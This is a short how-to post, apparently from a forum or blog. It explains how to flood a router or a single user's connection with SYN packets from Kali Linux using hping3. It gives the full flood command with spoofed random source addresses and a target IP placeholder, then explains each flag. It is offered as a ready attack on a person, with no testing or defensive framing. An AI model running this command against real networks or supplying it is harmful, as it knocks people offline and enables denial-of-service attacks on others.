You know that you can DOS a router? While DOSing a website from a single ip is ineffective, you can still DOS a single target-user.
It is very easy to do it with the hping3 packet generator. hping3 is preinstalled in Kali Linux and all you have to do is open a terminal and type the command below:
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source yourtargetip
Explanation of the syntax used in this command:
-c 10000 = Number of packets to send.
-d 120 = Size of each packet to send to target.
-S = Send SYN packets only.
-w 64 = TCP window size.
-p 80 = Destination port . You can use any port .
--flood = Sending packets as fast as possible, without taking care to show incoming replies. Flood mode.
--rand-source = Using Random Source IP Addresses.
yourtargetip = Destination IP address of target machine.
